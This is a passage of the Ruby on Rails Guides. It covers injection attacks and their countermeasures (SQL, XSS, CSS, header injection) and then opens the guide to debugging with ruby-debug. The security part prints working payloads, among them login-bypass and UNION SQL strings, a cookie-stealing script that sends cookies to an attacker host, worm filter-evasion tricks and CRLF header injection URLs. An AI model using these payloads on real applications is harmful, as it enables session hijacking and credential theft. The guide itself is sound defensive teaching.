This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 —, the resulting SQL query will be:

```
SELECT * FROM projects WHERE name = '' OR 1 --'
```

The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.

8.2.2 Bypassing Authorization

Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.

```
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
```

If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:

```
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
```

This will simply find the first record in the database, and grants access to this user.

8.2.3 Unauthorized Reading

The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:

```
Project.where("name = '#{params[:name]}'")
```

And now let's inject another query using the UNION statement:

```
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
```

This will result in the following SQL query:

```
SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'
```

The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.

Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails **to at least 2.1.1**.

8.2.4 Countermeasures

Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. *Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure*. But in SQL fragments, especially *in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually*.

Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:

```
Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
```

As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:

```
Model.where(:login => entered_user_name, :password => entered_password).first
```

The array or hash form is only available in model instances. You can try `sanitize_sql()` elsewhere. *Make it a habit to think about the security consequences when using an external string in SQL*.

8.3 Cross-Site Scripting (XSS)

— The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.

8.3.1 Entry Points

An entry point is a vulnerable URL and its parameters where an attacker can start an attack.

The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable – just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the **Live HTTP Headers Firefox plugin**, or client-site proxies make it easy to change requests.

XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.

During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The **Symantec Global Internet Security threat report** also documented 239 browser plug-in vulnerabilities in the last six months of 2007. **Mpack** is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.

A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to **Trend Micro**

in banner ads on popular sites, such as MySpace and Excite, according to **Trend Micro**.

8.3.2 HTML/JavaScript Injection

The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. *Escaping user input is essential*.

Here is the most straightforward test to check for XSS:

```
<script>alert('Hello');</script>
```

This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:

```
<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
```

8.3.2.1 Cookie Theft

These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:

```
<script>document.write(document.cookie);</script>
```

For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.

```
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
```

The log files on www.attacker.com will read like this:

```
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
```

You can mitigate these attacks (in the obvious way) by adding the **httpOnly** flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies **will still be visible using Ajax**, though.

8.3.2.2 Defacement

With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:

```
<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
```

This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the **Mpack attack framework**. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.

A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.

Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that “George Bush appointed a 9 year old boy to be the chairperson...”:

```
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--
```

8.3.2.3 Countermeasures

It is very important to filter malicious input, but it is also important to escape the output of the web application.

Especially for XSS, it is important to do *whitelist input filtering instead of blacklist*. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.

Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:

```
strip_tags("some<<b>script>alert('hello')<</b>/script>")
```

This returned “some<script>alert(‘hello’)</script>”, which makes an attack work. That's why I vote for a whitelist

approach, using the updated Rails 2 method sanitize():

```
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
```

This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.

As a second step, *it is good practice to escape all output of the application*, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). *Use `escapeHTML()` (or its alias `h()`) method* to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (`&`, `"`, `<`, and `>`). However, it can easily happen that the programmer forgets to use it, so *it is recommended to use the **SafeErb** plugin*. SafeErb reminds you to escape strings from external sources.

8.3.2.4 Obfuscation and Encoding Injection

Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:

```
<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
  &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
```

This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the **Hackvertor**. Rails' sanitize() method does a good job to fend off encoding attacks.

8.3.3 Examples from the Underground

In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.

The following is an excerpt from the **Js.Yamanner@m** Yahoo! Mail **worm**. It appeared on June 11, 2006 and was the first webmail interface worm:

```
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
```

The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.

Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on **Rosario Valotta's paper**. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.

In December 2006, 34,000 actual user names and passwords were stolen in a **MySpace phishing attack**. The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.

The MySpace Samy worm will be discussed in the CSS Injection section.

8.4 CSS Injection

— CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.

CSS Injection is explained best by a well-known worm, the **MySpace Samy worm**. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.

MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:

```
<div style="background:url('javascript:alert(1)')">
```

So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.

```
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
```

The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML":

```
alert(eval('document.body.inne' + 'rHTML'));
```

The next problem was MySpace filtering the word "javascript", so the author used "java<NEWLINE>script" to get around this:

```
<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">
```

Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.

In the end, he got a 4 KB worm, which he injected into his profile page.

The **moz-binding** CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).

8.4.1 Countermeasures

This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. *If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application*. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.

8.5 Textile Injection

*— If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. **RedCloth** is such a language for Ruby, but without precautions, it is also vulnerable to XSS.*

For example, RedCloth translates `_test_` to test, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the **all-new version 4** that removed serious bugs. However, even that version has **some security bugs**, so the countermeasures still apply. Here is an example for version 3.0.4:

```
RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"
```

Use the :filter_html option to remove HTML which was not created by the Textile processor.

```
RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"
```

However, this does not filter all HTML, a few tags will be left (by design), for example <a>:

```
RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
```

8.5.1 Countermeasures

It is recommended to *use RedCloth in combination with a whitelist input filter*, as described in the countermeasures against XSS section.

8.6 Ajax Injection

— The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.

If you use the **in_place_editor plugin**, or actions that return a string, rather than rendering a view, *you have to escape the return value in the action*. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.

8.7 Command Line Injection

— Use user-supplied command line parameters with caution.

If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).

A countermeasure is to *use the `system(command, parameters)` method which passes command line parameters safely*.

```
system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files
```

8.8 Header Injection

— HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.

HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. *Remember to escape these header fields, too.* For example when you display the user agent in an administration area.

Besides that, it is *important to know what you are doing when building response headers partly based on user input.* For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:

```
redirect_to params[:referer]
```

What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:

```
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
```

And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:

```
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
```

Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.

```
HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld
```

So *attack vectors for Header Injection are based on the injection of CRLF characters in a header field.* And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. *Make sure you do it yourself when you build other header fields with user input.*

8.8.1 Response Splitting

If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:

```
HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location: Content-Type: text/html


HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html


&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
Keep-Alive: timeout=15, max=100         shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
```

Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. *In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.*

9 Additional Resources

The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:

- The Ruby on Rails security project posts security news regularly: **http://www.rorsecurity.info**
- Subscribe to the Rails security **mailing list**
- **Keep up to date on the other application layers** (they have a weekly newsletter, too)
- A **good security blog** including the **Cross-Site scripting Cheat Sheet**

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Debugging Rails Applications

This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:

- Understand the purpose of debugging
- Track down problems and issues in your application that your tests aren't identifying
- Learn the different ways of debugging
- Analyze the stack trace

Chapters

1. View Helpers for Debugging
    - debug
    - to_yaml
    - inspect
2. The Logger
    - What is the Logger?
    - Log Levels
    - Sending Messages
3. Debugging with ruby-debug
    - Setup
    - The Shell
    - The Context
    - Threads
    - Inspecting Variables
    - Step by Step
    - Breakpoints
    - Catching Exceptions
    - Resuming Execution
    - Editing
    - Quitting
    - Settings
4. Debugging Memory Leaks
    - BleakHouse
    - Valgrind
5. Plugins for Debugging
6. References

1 View Helpers for Debugging

One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:

- debug
- to_yaml
- inspect

1.1 debug

The debug helper will return a <pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:

```
<%= debug @post %>
<p>
  <b>Title:</b>
  <%=h @post.title %>
</p>
```

You'll see something like this:

```
--- !ruby/object:Post
attributes:
  updated_at: 2008-09-05 22:55:47
  body: It's a very helpful guide for debugging your Rails app.
  title: Rails debugging guide
  published: t
  id: "1"
  created_at: 2008-09-05 22:55:47
attributes_cache: {}


Title: Rails debugging guide
```

1.2 to_yaml

Displaying an instance variable, or any other object or method, in YAML format can be achieved this way:

```
<%= simple_format @post.to_yaml %>
<p>
  <b>Title:</b>
  <%=h @post.title %>
</p>
```

The to_yaml method converts the method to YAML format leaving it more readable, and then the simple_format helper is used to render each line as in the console. This is how debug method does its magic.

As a result of this, you will have something like this in your view:

```
--- !ruby/object:Post
attributes:
updated_at: 2008-09-05 22:55:47
body: It's a very helpful guide for debugging your Rails app.
title: Rails debugging guide
published: t
```

```
id: "1"
created_at: 2008-09-05 22:55:47
attributes_cache: {}

Title: Rails debugging guide
```

1.3 `inspect`

Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example:

```
<%= [1, 2, 3, 4, 5].inspect %>
<p>
  <b>Title:</b>
  <%=h @post.title %>
</p>
```

Will be rendered as follows:

```
[1, 2, 3, 4, 5]

Title: Rails debugging guide
```

2 The Logger

It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.

2.1 What is the Logger?

Rails makes use of Ruby's standard `logger` to write log information. You can also substitute another logger such as `Log4r` if you wish.

You can specify an alternative logger in your `environment.rb` or any environment file:

```
Rails.logger = Logger.new(STDOUT)
Rails.logger = Log4r::Logger.new("Application Log")
```

Or in the `Initializer` section, add *any* of the following

```
config.logger = Logger.new(STDOUT)
config.logger = Log4r::Logger.new("Application Log")
```

By default, each log is created under `Rails.root/log/` and the log file name is `environment_name.log`.

2.2 Log Levels

When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the `Rails.logger.level` method.

The available log levels are: `:debug`, `:info`, `:warn`, `:error`, and `:fatal`, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use

```
config.log_level = :warn # In any environment initializer, or
Rails.logger.level = 0 # at any time
```

This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.

The default Rails log level is `info` in production mode and `debug` in development and test mode.

2.3 Sending Messages

To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer:

```
logger.debug "Person attributes hash: #{@person.attributes.inspect}"
logger.info "Processing the request..."
logger.fatal "Terminating application, raised unrecoverable error!!!"
```

Here's an example of a method instrumented with extra logging:

```
class PostsController < ApplicationController
  # ...

  def create
    @post = Post.new(params[:post])
    logger.debug "New post: #{@post.attributes.inspect}"
    logger.debug "Post should be valid: #{@post.valid?}"

    if @post.save
      flash[:notice] = 'Post was successfully created.'
      logger.debug "The post was saved and now the user is going to be redirected..."
      redirect_to(@post)
    else
      render :action => "new"
    end
  end

  # ...
end
```

Here's an example of the log generated by this method:

```
Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
  Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
 "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
 "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
```

```
 "published"=>false, "created_at"=>nil}
Post should be valid: true
  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published",
 "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
The post was saved and now the user is going to be redirected...
Redirected to #<Post:0x20af760>
Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
```

Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.

3 Debugging with `ruby-debug`

When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.

The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.

3.1 Setup

The debugger used by Rails, `ruby-debug`, comes as a gem. To install it, just run:

```
$ sudo gem install ruby-debug
```

If you are using Ruby 1.9, you can install a compatible version of `ruby-debug` by running `sudo gem install ruby-debug19`

In case you want to download a particular version or get the source code, refer to the **project's page on rubyforge**.

Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method.

Here's an example:

```
class PeopleController < ApplicationController
  def new
    debugger
    @person = Person.new
  end
end
```

If you see the message in the console or logs:

```
***** Debugger requested, but was not available: Start server with --debugger to enable *****
```

Make sure you have started your web server with the option `--debugger`:

```
$ rails server --debugger
=> Booting WEBrick
=> Rails 3.0.0 application starting on http://0.0.0.0:3000
=> Debugger enabled
...
```

In development mode, you can dynamically `require \'ruby-debug\'` instead of restarting the server, if it was started without `--debugger`.

3.2 The Shell

As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt (`rdb:n`). The *n* is the thread number. The prompt will also show you the next line of code that is waiting to run.

If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.

For example:

```
@posts = Post.all
(rdb:7)
```

Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: `help` (You didn't see that coming, right?)

```
(rdb:7) help
ruby-debug help v0.10.2
Type 'help <command-name>' for help on a specific command

Available commands:
backtrace  delete   enable  help    next  quit     show    trace
break      disable  eval    info    p     reload   source  undisplay
catch      display  exit    irb     pp    restart  step    up
condition  down     finish  list    ps    save     thread  var
continue   edit     frame   method  putl  set      tmate   where
```

To view the help menu for any command use `help <command-name>` in active debug mode. For example: *`help var`*

The next command to learn is one of the most useful: `list`. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use `l` for the `list` command.

This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by `=>`.

```
(rdb:7) list
[1, 10] in /PathToProject/posts_controller.rb
   1  class PostsController < ApplicationController
   2    # GET /posts
   3    # GET /posts.json
   4    def index
   5      debugger
```

```
=> 6      @posts = Post.all
   7
   8      respond_to do |format|
   9        format.html # index.html.erb
   10        format.json { render :json => @posts }
```

If you repeat the `list` command, this time using just `l`, the next ten lines of the file will be printed out.

```
(rdb:7) l
[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
   11      end
   12    end
   13
   14    # GET /posts/1
   15    # GET /posts/1.json
   16    def show
   17      @post = Post.find(params[:id])
   18
   19      respond_to do |format|
   20        format.html # show.html.erb
```

And so on until the end of the current file. When the end of file is reached, the `list` command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.

On the other hand, to see the previous ten lines you should type `list-` (or `l-`)

```
(rdb:7) l-
[1, 10] in /PathToProject/posts_controller.rb
   1  class PostsController < ApplicationController
   2    # GET /posts
   3    # GET /posts.json
   4    def index
   5      debugger
   6      @posts = Post.all
   7
   8      respond_to do |format|
   9        format.html # index.html.erb
   10        format.json { render :json => @posts }
```

This way you can move inside the file, being able to see the code above and over the line you added the `debugger`. Finally, to see where you are in the code again you can type `list=`

```
(rdb:7) list=
[1, 10] in /PathToProject/posts_controller.rb
   1  class PostsController < ApplicationController
   2    # GET /posts
   3    # GET /posts.json
   4    def index
   5      debugger
=> 6      @posts = Post.all
   7
   8      respond_to do |format|
   9        format.html # index.html.erb
   10        format.json { render :json => @posts }
```

3.3 The Context

When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.

ruby-debug creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.

At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer.

```
(rdb:5) where
    #0 PostsController.index
       at line /PathTo/project/app/controllers/posts_controller.rb:6
    #1 Kernel.send
       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
    #2 ActionController::Base.perform_action_without_filters
       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
    #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
...
```

You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where *n* is the specified frame number.

```
(rdb:5) frame 2
#2 ActionController::Base.perform_action_without_filters
       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
```

The available variables are the same as if you were running the code line by line. After all, that's what debugging is.

Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context *n* frames up or down the stack respectively. *n* defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.

3.4 Threads

The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options:

- `thread` shows the current thread.
- `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
- `thread stop _n_` stop thread *n*

- `thread stop _n_` stop thread *n*.
- `thread resume _n_` resumes thread *n*.
- `thread switch _n_` switches the current thread context to *n*.

This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.

3.5 Inspecting Variables

Any expression can be evaluated in the current context. To evaluate an expression, just type it!

This example shows how you can print the instance_variables defined within the current context:

```
@posts = Post.all
(rdb:11) instance_variables
["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_o
```

As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide).

```
(rdb:11) next
Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
  Parameters: {"action"=>"index", "controller"=>"posts"}
/PathToProject/posts_controller.rb:8
respond_to do |format|
```

And then ask again for the instance_variables:

```
(rdb:11) instance_variables.include? "@posts"
true
```

Now `@posts` is included in the instance variables, because the line defining it was executed.

You can also step into **irb** mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.

The `var` method is the most convenient way to show variables and their values:

```
var
(rdb:1) v[ar] const <object>            show constants of object
(rdb:1) v[ar] g[lobal]                  show global variables
(rdb:1) v[ar] i[nstance] <object>       show instance variables of object
(rdb:1) v[ar] l[ocal]                   show local variables
```

This is a great way to inspect the values of the current context variables. For example:

```
(rdb:9) var local
  __dbg_verbose_save => false
```

You can also inspect for an object method this way:

```
(rdb:9) var instance Post.new
@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
@attributes_cache = {}
@new_record = true
```

The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.

You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.

```
(rdb:1) display @recent_comments
1: @recent_comments =
```

The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where *n* is the variable number (1 in the last example).

3.6 Step by Step

Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.

Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to ruby-debug.

You can also use `step+ n` and `step- n` to move forward or backward n steps respectively.

You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move *n* steps.

